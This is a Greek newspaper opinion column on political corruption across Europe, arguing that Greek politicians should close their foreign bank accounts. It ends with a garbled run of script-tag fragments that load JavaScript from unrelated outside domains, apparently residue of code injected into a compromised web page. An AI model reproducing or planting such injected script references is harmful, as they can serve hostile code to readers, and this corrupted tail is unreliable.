Οι πεποιθήσεις και τα χρηματοκιβώτια… Τάσος Παππάς

Η πολιτική είναι η πιο δημοκρατική επιστήμη, γιατί μπορούν να συμμετέχουν οι πάντες χωρίς να διαθέτουν τίτλους σπουδών. Είναι επίσης και η πιο δύσκολη επιστήμη, γιατί απαιτεί προσόντα. Ενα απ’ αυτά είναι το ήθος. Είδος εν ανεπαρκεία, όχι μόνο στην Ελλάδα.

Οσοι θεωρούν ότι η υποκρισία και η ανηθικότητα ζουν και βασιλεύουν μόνο στη μικρομεσαία βαλκανική χώρα μας, ας ρίξουν μια ματιά γύρω τους: στη Γαλλία με τα τόσα σκάνδαλα που περικυκλώνουν πρώην προέδρους και πρώην υπουργούς. Στην Ισπανία, όπου οι τρεις πρώην ταμίες του κυβερνώντος κόμματος του… αξιοσέβαστου κ. Ραχόι κατηγορούνται για διαφθορά. Στην Πορτογαλία, όπου ο πρώην πρωθυπουργός είναι προφυλακισμένος και ο νυν είχε ξεχάσει να καταθέσει εγκαίρως τις φορολογικές δηλώσεις του.

Στην κοιτίδα του κοινοβουλευτισμού, τη Βρετανία, όπου εν ενεργεία πολιτικοί έπαιρναν μίζες για να προωθούν σχέδια νόμου. Στο Λουξεμβούργο, όπου ο πρώην πρωθυπουργός και σημερινός επικεφαλής της Κομισιόν είχε στήσει ελκυστικά φορολογικά πάρκινγκ για τα λεφτά των πλουσίων όλης της γης. Για να μη μιλήσουμε για τη Γερμανία όπου οι μεγάλες εταιρείες μπούκωναν πολιτικούς σε πολλές χώρες για να παίρνουν τις δουλειές και μόλις αποκαλύπτονταν οι παρανομίες τους το επίσημο κράτος έσπευδε να τους προσφέρει ασυλία.

Δεν υπάρχει χώρα στην Ευρώπη που να έχει μείνει ανέγγιχτη από τη διαφθορά.Χωρίς αυταπάτες ότι το φαινόμενο θα εξαλειφθεί -άλλωστε είναι στη φύση του καπιταλισμού, ιδιαίτερα στην πιο χυδαία εκδοχή του που κυριαρχεί σήμερα- και για να επιστρέψουμε στην Ελλάδα, είναι δυνατόν να γίνουν ορισμένα πράγματα.

Με αφορμή την υπόθεση Χαρδούβελη, αλλά και τις περιπτώσεις πολιτικών απ’ όλες τις παρατάξεις που έχουν καταθέσεις και μετοχές στο εξωτερικό, και ακόμη χειρότερα (γιατί είναι παράνομο) σε φορολογικούς παραδείσους, θα μπορούσαν τα κόμματα -όλα τα κόμματα, αλλά οπωσδήποτε αυτά που ανήκουν στην Αριστερά- να επιβάλουν στα στελέχη τους, στους υποψήφιους βουλευτές, πολύ περισσότερο σε όσους προορίζονται για κρατικές και κυβερνητικές θέσεις, να κλείσουν όλους τους λογαριασμούς τους στο εξωτερικό και να φέρουν τα χρήματά τους εδώ.

Παρωνυχίς; Πολύ πιθανόν. Δεν μπορείς όμως, όταν ασκείς εξουσία, να ζητάς θυσίες από τους πολίτες και εσύ να χρησιμοποιείς όλα τα παραθυράκια -νόμιμα ή στο όριο της νομιμότητας- για να προστατευτείς από τους κινδύνους και βεβαίως δεν μπορείς να πολεμάς το σύστημα και ταυτοχρόνως να αξιοποιείς προς όφελός σου τις ευκαιρίες που δίνει.

Ενδεχομένως, να έχει δίκιο ο Γάλλος συγγραφέας Μορίς Αγκιλόν που λέει ότι «οι πεποιθήσεις δεν βγαίνουν πάντα από το χρηματοκιβώτιο», ωστόσο με γεμάτο χρηματοκιβώτιο είναι πολύ δύσκολο να νιώσεις την απελπισία του άλλου και ακόμη δυσκολότερο να κατανοήσεις την οργή του, όταν αυτή εκδηλωθεί.

πηγή: Εφημερίδα των Συντακτών

___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>challengeforme.com/pystats.js’ async=true >challengeforme.com/pystats.js’ async=true >‘ >‘ >‘ >‘ >‘ >‘ >‘ >‘ >